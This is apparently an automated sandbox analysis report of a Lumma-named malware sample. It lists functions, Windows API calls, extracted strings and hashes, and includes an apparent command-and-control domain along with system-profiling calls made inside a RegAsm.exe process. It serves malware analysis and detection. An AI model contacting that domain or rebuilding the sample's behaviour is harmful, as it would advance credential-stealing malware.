Part of subcall function 00CE8A10: Concurrency::scheduler_ptr::scheduler_ptr.LIBCPMTD ref: 00CE8A22
Part of subcall function 00CE8A10: shared_ptr.LIBCMTD ref: 00CE8A3B
Part of subcall function 00CE8A10: shared_ptr.LIBCMTD ref: 00CE8A5B

Part of subcall function 00CE4700: Concurrency::cancellation_token::_Clear.LIBCPMTD ref: 00CE470A

Concurrency::details::_TaskCreationCallstack::_TaskCreationCallstack.LIBCPMTD ref: 00CF2DAE
task.LIBCPMTD ref: 00CF2DDC

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Concurrency::cancellation_token::_Concurrency::scheduler_ptr::scheduler_ptrCreationTaskshared_ptr$CallstackCallstack::_ClearConcurrency::cancellation_token_source::cancellation_token_sourceConcurrency::details::_ImplValueallocatortask
String ID:
API String ID: 2976636738-0
Opcode ID: f9967669ce684586a775932154ec45f127db230cbcf81d2144e67e6c38894d1e
Instruction ID: d8d847f8f826af777ed770d0095fd898e1ecc5eead0072b7763732fc43d2cf08
Opcode Fuzzy Hash: f9967669ce684586a775932154ec45f127db230cbcf81d2144e67e6c38894d1e
Instruction Fuzzy Hash: 613176B6D0014CAFCB08EFA5EC929FEBB75AF44314F148169F51667291DB30AB04DBA1

Function 00D16527 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00D134F6,00000000,00000001,00000000,00000000,?,00D0A31A,00000000,00000000,00000000), ref: 00D1653E
GetLastError.KERNEL32(?,00D134F6,00000000,00000001,00000000,00000000,?,00D0A31A,00000000,00000000,00000000,00000000,00000000,?,00D0A8D8,?), ref: 00D1654A

Part of subcall function 00D16510: CloseHandle.KERNEL32(FFFFFFFE,00D1655A,?,00D134F6,00000000,00000001,00000000,00000000,?,00D0A31A,00000000,00000000,00000000,00000000,00000000), ref: 00D16520

___initconout.LIBCMT ref: 00D1655A

Part of subcall function 00D164D2: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00D16501,00D134E3,00000000,?,00D0A31A,00000000,00000000,00000000,00000000), ref: 00D164E5

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00D134F6,00000000,00000001,00000000,00000000,?,00D0A31A,00000000,00000000,00000000,00000000), ref: 00D1656F

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: da28fba71f29aa1b92ae2b0e6aaf98fbfb413db1ee3ddd319abc0afaf62efe74
Instruction ID: 27f31189f8e649c6b603bffd01204ff1a3963973bdc1458e1c8b5a88f2031160
Opcode Fuzzy Hash: da28fba71f29aa1b92ae2b0e6aaf98fbfb413db1ee3ddd319abc0afaf62efe74
Instruction Fuzzy Hash: E2F01CB6504224BBCF221F91EC149DA7F66FF087A0B458020FE18C5230CE32C861ABB1

Function 00CE60D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

task.LIBCPMTD ref: 00CE62CC

Strings

Earth, xrefs: 00CE61DC
Own head, xrefs: 00CE617C

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: task
String ID: Earth$Own head
API String ID: 1384045349-4036566267
Opcode ID: a29b30a194687cb8b06614383031c1426f7e7f5cf4e7c26c3d99e357edb3be70
Instruction ID: 12575139f153651acb89b5911731fb61ee419eb138043e7496560447d88686dd
Opcode Fuzzy Hash: a29b30a194687cb8b06614383031c1426f7e7f5cf4e7c26c3d99e357edb3be70
Instruction Fuzzy Hash: ED717E3050129D8FCF05CF68D990AEEBBB1BF5A305F184189E8417B386C638A925DF76

Function 00CE60FC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

task.LIBCPMTD ref: 00CE62CC

Strings

Earth, xrefs: 00CE61DC
Own head, xrefs: 00CE617C

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: task
String ID: Earth$Own head
API String ID: 1384045349-4036566267
Opcode ID: c9923b57450997e77df65c093867eb56e302819689a54daf3d10ee8b8a53f3bb
Instruction ID: 935993b0422affd3faebd180b3c2aa85b35d603fb6c22337c72afd3223addbc0
Opcode Fuzzy Hash: c9923b57450997e77df65c093867eb56e302819689a54daf3d10ee8b8a53f3bb
Instruction Fuzzy Hash: 9F612F3050529E8FCF05CF68D990AEEBB71BF5A305F184185E8417B386C639A921DF76

Function 00CFA9D7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00CFA9FC

Strings

RCC, xrefs: 00CFAA16
MOC, xrefs: 00CFAA0E

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: d72ea1e4aba0bed0b73c827b71b7fb7310273d1f086c52fa4c2c31966050b7bd
Instruction ID: 1757c8079123c5eb00d607e5310ddd79b85dc549beea9932294dfbcf15ff1d49
Opcode Fuzzy Hash: d72ea1e4aba0bed0b73c827b71b7fb7310273d1f086c52fa4c2c31966050b7bd
Instruction Fuzzy Hash: DF4158B190020DAFCF16DF98C981AEEBBB5FF08304F158059FA19A7221D3359A50EF52

Function 00CF4090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00CF4118
RaiseException.KERNEL32(?,?,?,?), ref: 00CF413D

Part of subcall function 00CF9C5B: RaiseException.KERNEL32(E06D7363,00000001,00000003,00CF7812,?,?,?,?,00CF7812,?,00D25118), ref: 00CF9CBB

Part of subcall function 00CFB613: IsProcessorFeaturePresent.KERNEL32(00000017,00CFB86A,?,00CFB6D5,?,00000000,00D03AC4,?,?,?,?,?,00000000,?,?,00D03B62), ref: 00CFB62F

Strings

csm, xrefs: 00CF40CC

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: f381bb03d9b0d37f24d354a5a20d2ece9ed17102e2492e4f67f3ac838fbcb890
Instruction ID: 9f8bd4c334d646b8fa217ea2f194e43a42a4f3b8b94ec6607116c9820c27a14d
Opcode Fuzzy Hash: f381bb03d9b0d37f24d354a5a20d2ece9ed17102e2492e4f67f3ac838fbcb890
Instruction Fuzzy Hash: CA218C31D0021CABCF68DF94D981AFEB7B9EF10710F144419E625AB250CB70AE95CB92

Function 00CE3EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CF42A8: CreateThreadpoolWork.KERNEL32(00CF42D5,00CE3EB2,00000000), ref: 00CF42B7
Part of subcall function 00CF42A8: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 00CF42C4

Concurrency::wait.LIBCONCRTD ref: 00CE3ECA
std::bad_exception::bad_exception.LIBCMTD ref: 00CE3EE3

Strings

Fail to schedule the chore!, xrefs: 00CE3EDB

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Concurrency::details::_Concurrency::waitCreateReschedule_choreThreadpoolWorkstd::bad_exception::bad_exception
String ID: Fail to schedule the chore!
API String ID: 1263333245-3313369819
Opcode ID: 54851ed1bfd5e6cda4ece3b48a907985371f08234616a28fe6e2a34e3b86e25a
Instruction ID: dcf6d18420064953b6ac721e0f2a9573bb6d01b04599cce934680b0cba88016a
Opcode Fuzzy Hash: 54851ed1bfd5e6cda4ece3b48a907985371f08234616a28fe6e2a34e3b86e25a
Instruction Fuzzy Hash: 21F05E70D0028CEBCF04EBE5C946BAEBB749B10304F5040A8E91627281EB706B45DB91

Analysis Process: RegAsm.exePID: 7132, Parent PID: 4024COMMON

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.9%
Total number of Nodes:	330
Total number of Limit Nodes:	26

Executed Functions

Function 0042DA00 Relevance: 49.2, APIs: 6, Strings: 22, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042DA4A
GetSystemMetrics.USER32 ref: 0042DA5D
DeleteObject.GDI32 ref: 0042DAD3
SelectObject.GDI32 ref: 0042DB28
SelectObject.GDI32 ref: 0042DB9E
DeleteObject.GDI32 ref: 0042DBD8

Strings

pB, xrefs: 0042DC8B
-B, xrefs: 0042DD46
-B, xrefs: 0042DCA1
-B, xrefs: 0042DCCD
-B, xrefs: 0042DC54
^B, xrefs: 0042DCD8
-B, xrefs: 0042DC75
-B, xrefs: 0042DCAC
-B, xrefs: 0042DD67
-B, xrefs: 0042DD25
FB, xrefs: 0042DD30
-B, xrefs: 0042DC80
-B, xrefs: 0042DD72
@B, xrefs: 0042DCB7
-B, xrefs: 0042DCC2
-B, xrefs: 0042DCF9
-B, xrefs: 0042DC5F
mB, xrefs: 0042DD5C
-B, xrefs: 0042DD51
-B, xrefs: 0042DD1A
, xrefs: 0042DB6D
-B, xrefs: 0042DD04

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID: $-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$-B$@B$FB$^B$mB$pB
API String ID: 1449868515-200375641
Opcode ID: 734bf2085bb210261a8848b00095f18c5ada8d29e34cb54e4f7769a6b41ff2f5
Instruction ID: 80cda73ed78a0b3e793a1fe247b5e0ba2f6589cf7b0c5407426b61822d6c3257
Opcode Fuzzy Hash: 734bf2085bb210261a8848b00095f18c5ada8d29e34cb54e4f7769a6b41ff2f5
Instruction Fuzzy Hash: 6FB16DB45093849FE364DF28D58978BBBF0BB85708F40891EE5D8AB350D7B85648CF86

Function 00427C8C Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00427DC4
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 00427E00
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00427F02

Strings

{|g~, xrefs: 00427E0C

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: {|g~
API String ID: 2243422189-1569769710
Opcode ID: eff6a834cc7a6cb30ecd64f162903fd1a5cd29af32eae586d26223928f7d3590
Instruction ID: ed36d7274b5b2f736dd89531b1d760435142a7f2cc70a6cea19051962319bc4c
Opcode Fuzzy Hash: eff6a834cc7a6cb30ecd64f162903fd1a5cd29af32eae586d26223928f7d3590
Instruction Fuzzy Hash: E7F16C70104B908EE736CF39C4A0BE7BBE1AF16304F44099DD5EB8B692C779A506CB55

Function 004239F0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00423AEA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 00423B17

Strings

0m>s, xrefs: 00423ED8
DE, xrefs: 00423E9B

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 0m>s$DE
API String ID: 237503144-1259978271
Opcode ID: ee9cf69432262ca445c0dc55bcb36361edf3cb19f8bed1db7cf704914f61f316
Instruction ID: abdea045981e234e27b97f06897f0ba20a0d3c486454dae44f2cea99efcfec50
Opcode Fuzzy Hash: ee9cf69432262ca445c0dc55bcb36361edf3cb19f8bed1db7cf704914f61f316
Instruction Fuzzy Hash: 1BF169746083918FD324CF18D450B9BB7F1FFCA308F554A2DE8999B292D7789A05CB86

Function 00436EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043998C,005C003F,00000006,00120089,?,00000018,/.! ,00000003,00415FBF), ref: 00436EC6

Strings

/.! , xrefs: 00436EC2
/.! , xrefs: 00436EA4

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: /.! $/.!
API String ID: 2994545307-1894348491
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00416EFA Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

onqp, xrefs: 00417066

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 090bd26dc77136a5ec340d072fae63efadf9dff31d38ea2df0d6198ca80ca8ff
Instruction ID: ced7f82e91be4405db2d317069d38cfc377ee1b45a23a12e912327d9047a669e
Opcode Fuzzy Hash: 090bd26dc77136a5ec340d072fae63efadf9dff31d38ea2df0d6198ca80ca8ff
Instruction Fuzzy Hash: B2F10FB550C3418FC714CF28C89166BBBF2AF99304F14892EF99587392D738D946CB9A

Function 00426CDF Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 350COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042855F

Strings

Kxbi, xrefs: 00428469

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: Kxbi
API String ID: 3960555810-1410787601
Opcode ID: ab9ced77bc1f71200571989f8e4294a5454e4e1fd556521ebd19ffcf030c7bb3
Instruction ID: 607586caaf51f51ad30090cad5034b105f71ef797ec3de355a8bb4ccdb19bbc6
Opcode Fuzzy Hash: ab9ced77bc1f71200571989f8e4294a5454e4e1fd556521ebd19ffcf030c7bb3
Instruction Fuzzy Hash: 3FC1DE70601B908AD735CF29C49076BBBF1AF5A304F44495EC0DB8BB92DB79E449CB19

Function 0042A52F Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 271263632cb8198c6224f606f0584b43bde2c7952b3443eb081677d2ce42b498
Instruction ID: 7a26df0d58ec7463e8d902f3a1ed1c7ea42803ce76845b5efcca5ca51d7f6aa4
Opcode Fuzzy Hash: 271263632cb8198c6224f606f0584b43bde2c7952b3443eb081677d2ce42b498
Instruction Fuzzy Hash: BAF0F2742193008FC310CF28D8A9656BBE0AF49300F50984EE4DA8B292CB78A544CF41

Function 0041E1B0 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000E,00000000,00000000,?), ref: 0041E2BD
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000E,00000000,?,?), ref: 0041E2E8

Strings

nm, xrefs: 0041E735
rA, xrefs: 0041E669
}{, xrefs: 0041E715
us, xrefs: 0041E725

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: nm$rA$us$}{
API String ID: 237503144-185812579
Opcode ID: 41b0e651db1ddbcc7e33adc3f872d3405c5e542307a9f2a6356a925cd1fb122a
Instruction ID: 64bde63af5294186842de845b2ce4e74a550475dbddb1b352d0ee07bf8479558
Opcode Fuzzy Hash: 41b0e651db1ddbcc7e33adc3f872d3405c5e542307a9f2a6356a925cd1fb122a
Instruction Fuzzy Hash: 561265B45083809BE324DF15D890B9BBBF1FF86344F048A2DE8D99B391D7789845CB96

Function 0040A3A0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 286
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0040A4C2

Strings

{, xrefs: 0040A41B
x, xrefs: 0040A42A
composepayyersellew.shop, xrefs: 0040A758
R, xrefs: 0040A402
y, xrefs: 0040A425

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: R$composepayyersellew.shop$x$y${
API String ID: 1029625771-2427966901
Opcode ID: fe6f1868820380e9b07f495e478c61486c909f614e667dacb97d709febad6c9a
Instruction ID: 8397f760b55c481e5b2fc8d83ddcf36ecb6e86ec9b4593a5e45e61482cb0bc7d
Opcode Fuzzy Hash: fe6f1868820380e9b07f495e478c61486c909f614e667dacb97d709febad6c9a
Instruction Fuzzy Hash: BAD1677410C780CFD310DF28C98462EBBE0AB9A308F54892FE4C5A7392D7799859DB5B

Function 0041E980 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0041EABC
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0041EAEB

Strings

:9, xrefs: 0041EA0B
MK, xrefs: 0041E9DF

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: :9$MK
API String ID: 237503144-2419649616
Opcode ID: aefd0947b2b3b936bcbaf4fa62b7ece1608c9fbc3b76be9a605468c7a1c8a7f3
Instruction ID: baf926a5fd05901c41976c30f1f5edeb7510c3f0a95c98fc5ed2e4265c6c484a
Opcode Fuzzy Hash: aefd0947b2b3b936bcbaf4fa62b7ece1608c9fbc3b76be9a605468c7a1c8a7f3
Instruction Fuzzy Hash: 3A5188B1108341ABD308CF15C880B9BBBE2FFC5748F548A2DF8995B391D774E9468B96

Function 004162A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 249COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004162EA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00416318

Strings

onqp, xrefs: 00416728

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: onqp
API String ID: 237503144-1718216680
Opcode ID: 9cca9380a69d4876976196a604b9aed55b43e8893b093953a6a1767b29888f32
Instruction ID: 8d2ff668ab66ed85291694e81e7d8d8b7fed1ce3a8dc6e242759d1cff288401d
Opcode Fuzzy Hash: 9cca9380a69d4876976196a604b9aed55b43e8893b093953a6a1767b29888f32
Instruction Fuzzy Hash: B68141755083009BD3248F14C851BABB7E6FF86318F054A2DF8995B391D738E885CBDA

Function 00409320 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040937B

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 0040934B

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 621844428-780655312
Opcode ID: c22081acf8c6e4189db1bca6d9714b6f8d0d382ab33fcfa93917bec32d3e5850
Instruction ID: efaef0ea71d19d72054b3eec8f1acb74fdd9980ebbbb5649a8c59f062022bd75
Opcode Fuzzy Hash: c22081acf8c6e4189db1bca6d9714b6f8d0d382ab33fcfa93917bec32d3e5850
Instruction Fuzzy Hash: B2F0303040C204D9C6647772910266D6798AF1C358F11983FEC82B12D7EB3C8C465E5F

Function 00418D90 Relevance: 3.1, APIs: 2, Instructions: 131COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00418DCA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418DFE

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 6ddcb8e671de1a5095c630e0a473d4e907014d60960fc8414537e93bb0e99538
Instruction ID: dd3115584aafa17087815dfe14f467bee2e34c5951fec688564b2ecc0fbc8e92
Opcode Fuzzy Hash: 6ddcb8e671de1a5095c630e0a473d4e907014d60960fc8414537e93bb0e99538
Instruction Fuzzy Hash: C7418075908340AFD300DF19D841B9BB7E4FB8A314F00492EF598C6291E734D955CBAA

Function 00428FBD Relevance: 1.6, APIs: 1, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042909A

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 151c21c1e934d908b069cc46ab62e7e7f1fa0ff19ee5c0ae6442c9a711147a10
Instruction ID: 33e7db27ea7671b9fbee71ba93874751fa2c95c92db954b93b3f7c45dc201047
Opcode Fuzzy Hash: 151c21c1e934d908b069cc46ab62e7e7f1fa0ff19ee5c0ae6442c9a711147a10
Instruction Fuzzy Hash: EC41C774508B828ED325CF38C498706FFE17B56214F088B9DD0E98B396C779D589CB92

Function 0043676F Relevance: 1.6, APIs: 1, Instructions: 69libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(?,00000000,00000800), ref: 00436851

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6c2e91f2ab8a1ed59d473415e56c775ffdf16e1636b3abd9cd043533fcf292f5
Instruction ID: 7cd499f9b72c62b7cff5f4fce8edd1404d2760daf797c0d5444eb48214097eaa
Opcode Fuzzy Hash: 6c2e91f2ab8a1ed59d473415e56c775ffdf16e1636b3abd9cd043533fcf292f5
Instruction Fuzzy Hash: B521B0745093019FD704DF15EC5561EBBE2AFC6704F658A2DE4C42B752C7398406CF9A

Function 00436DB4 Relevance: 1.6, APIs: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00436E35

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

